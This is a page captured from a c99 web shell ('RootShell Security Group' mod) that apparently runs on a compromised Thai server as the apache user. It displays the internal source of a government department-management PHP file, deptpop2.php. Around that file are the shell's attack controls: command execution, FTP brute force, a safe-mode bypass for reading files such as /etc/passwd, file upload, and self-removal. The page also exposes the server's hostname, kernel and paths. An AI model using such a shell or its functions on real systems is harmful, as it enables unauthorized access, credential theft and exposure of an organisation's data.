!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/eperson/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     deptpop2.php (6.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsdepttype.php";
include_once 
"../class/clsdeptref.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EPERSON'], $GLOBALS['DBUSER_EPERSON'], $GLOBALS['DBPASS_EPERSON']);

$oDp = new Department($oC);
$oDp1 = new Department($oC);
$oDpT = new Department($oC);
$oDp2 = new Department($oC);
$oDp3 = new Department($oC);
$oDp4 = new Department($oC);
$oDp5 = new Department($oC);
$oDp6 = new Department($oC);
$oDp7 = new Department($oC);
$oDp8 = new Department($oC);
$oDpt= new Departmenttype($oC);
$maxdate $oDp5->MaxDate();
$oDr= new deptref($oC);
$oDr2= new deptref($oC);
?>
<script language="JavaScript1.2">
function checkFormat(){
    document.ps.xv.value = 0;
    if(document.ps.deptName.value==""){
        alert("กรุณากรอกชื่อส่วนราชการภายใน!");
        document.ps.xv.value = 1;
        return false;
    }
    if(document.ps.depttypeId.value==""){
        alert("กรุณากรอกประเภทส่วนราชการภายใน!");
        document.ps.xv.value = 1;
        return false;
    }
}
</script>
<? 
if($method=="edit" && $xv != 1){
    
//$oC->BeginTrans();
            
$oDp->SearchByKey($deptId);
            
$oDp->GetRecord();
            
$oDp->Edit();
            
$oDp->deptId=$deptId;
            
$oDp->deptName=$deptName;
            
$oDp->deptDesc=$deptDesc;
            
$oDp->deptCode=$oDp->deptCode;
            if(
$deptlink!=""){  $deptParent=$deptlink; }
            
$oDp->deptParent=$deptParent;
            
$oDp->deptYear=$oDp->deptYear;
            
$oDp->deptDate=$oDp->deptDate;
            
$oDp->deptRef=$oDp->deptRef;
            
$oDp->pbriId=$oDp->pbriId;
            
$oDp->depttypeId=$depttypeId;
            
$oDp->deptParentId=$oDp->deptParentId;
            
$oDp->deptLevel=$oDp->deptLevel;
            
$oDp->deptgroup=$oDp->deptgroup;
            
$oDp->Save();
            
            
$oDr2->deleteDept($deptId);
            
$oDp4->searchdeptDate($maxdate);
            while(
$oDp4->GetRecord()){
                if(
$deptmaxdate[$oDp4->deptId]==1){
                                
$oDr->AddNew();
                                
$oDr->drId=$oDr->GetNextCode();
                                
$oDr->deptId=$oDp->deptId;
                                
$oDr->deptrefId=$oDp4->deptId;
                                
$oDr->Save();
                }
            }
?>
<script language="javascript1.2">
window.opener.location.href="deptstructure.php?startyear=<?php echo $oDp->deptstartyear;?>&endyear=<?php echo $oDp->deptendyear;?>";
window.close();
</script>
<?php    
}
?>
<html>
<head>
<title>แก้ไขส่วนราชการภายใน</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style>
<!--
A:link {text-decoration: none }
A:visited {text-decoration: none}
A:hover {text-decoration: none; font-weight: underline}
-->
</style>
</head>
<body bgcolor="#FFFFFF">
<form name="ps" action="<?php echo $PHP_SELF;?>" method="post" >
<table width="550" border="0" cellspacing="1" cellpadding="1" align="center"><?php echo $startyear;?>
    <tr > 
        <td align="center" colspan="4" height="22"><font size="3" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><b>แก้ไขส่วนราชการภายใน</b></font></td>
    </tr>
                                <tr>
                                    <td colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">&nbsp;</font></td>
                                </tr>
                                <?
                                            $oDp
->SearchByKey($deptId);
                                            
$oDp->GetRecord();
                                            
                            
?>
                                <tr height="22" >
                                    <td align="left" width="221" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ชื่อส่วนราชการภายใน</b></font></td>
                                    <td align="left" width="4">&nbsp;</td>
                                    <td align="left" width="315"><input type="text" name="deptName" size="40" value="<? echo $oDp->deptName?>" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}">
                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <? if($maxdate!='0000-00-00' && $maxdate!=""){ ?>
                                <tr height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                                    <td align="left"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ส่วนราชการภายใน<br>(โครงสร้างเพื่อการส่งหนังสือในระบบสารบรรณเก่า)</b></font></td>
                                    <td align="left" >&nbsp;</td>
                                    <td align="left">
                                    <?        
                                            $oDp4
->searchdeptDate($maxdate);
                                            while(
$oDp4->GetRecord()){
                                            
$checkeddept=0;
                                                
$oDr->SearchBydeptIddeptrefId($deptId,$oDp4->deptId);
                                                if(
$oDr->GetRecord()==1){  $checkeddept=1; }
                                    
?>
                                                    <input name="deptmaxdate[<? echo $oDp4->deptId?>]" type="checkbox" value="1" <?  if($checkeddept==1){  echo "checked"; }?>>&nbsp;<? echo $oDp4->deptName?><br>
                                    <?  ?>        
                                    </td>
                                </tr>
                                <? ?>
                                <tr height="22" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                                    <td align="left"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ประเภทของส่วนราชการภายใน</b></font></td>
                                    <td align="left" >&nbsp;</td>
                                    <td align="left">
                                <select name="depttypeId" >
                            <?
                                            $oDpt
->RSDepartmenttype();
                                            while(
$oDpt->GetRecord()){
                            
?>
                                                    <option value="<? echo $oDpt->depttypeId?><? if($oDpt->depttypeId == $oDp->depttypeId){  echo "selected";  }?>><? echo $oDpt->depttypeName?>        
                            <?              }?>
                                </select>

                                    <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font></td>
                                </tr>
                                <tr height="22" >
                                    <td align="left" width="221" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รายละเอียด</b></font></td>
                                    <td align="left" width="4">&nbsp;</td>
                                    <td align="left" width="315"><input type="text" name="deptDesc" size="40" value="<? if($oDp->deptDesc!=""){   echo $oDp->deptDesc; } ?>" onKeyPress="if(event.keyCode==39){  alert('ระบบไม่สามารถบันทึกตัวอักษรนี้ได้!!'); return false;}">
                                    </td>
                                </tr>
                                <tr height="22">
                                    <td align="left" width="221" colspan="4" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>&nbsp;</b></font></td>
                                </tr>
<tr height="40">
        <td colspan="4" align="center" bgcolor="#FFFFFF"><input type="submit" name="edit" value="แก้ไข" onClick="return checkFormat()">
          <input type="reset" name="clear" value="เคลียร์ข้อมูล">
        <input type="hidden" name="method" value="edit">
        </td>
    </tr>
        <input type="hidden" name="deptId" value="<?php echo $deptId;?>">
        <br>
</table>
<table width="550" border="0" cellspacing="0" cellpadding="1" align="center" >
    <tr>
        <td align="center" colspan="4" bgcolor="#FFFFFF" height="22"><a href="#" onClick="window.close()"><font size="1" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
    </tr>
</table>
</form>
</body>
</html>
<?php
$oC
->Disconnect();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.014 ]--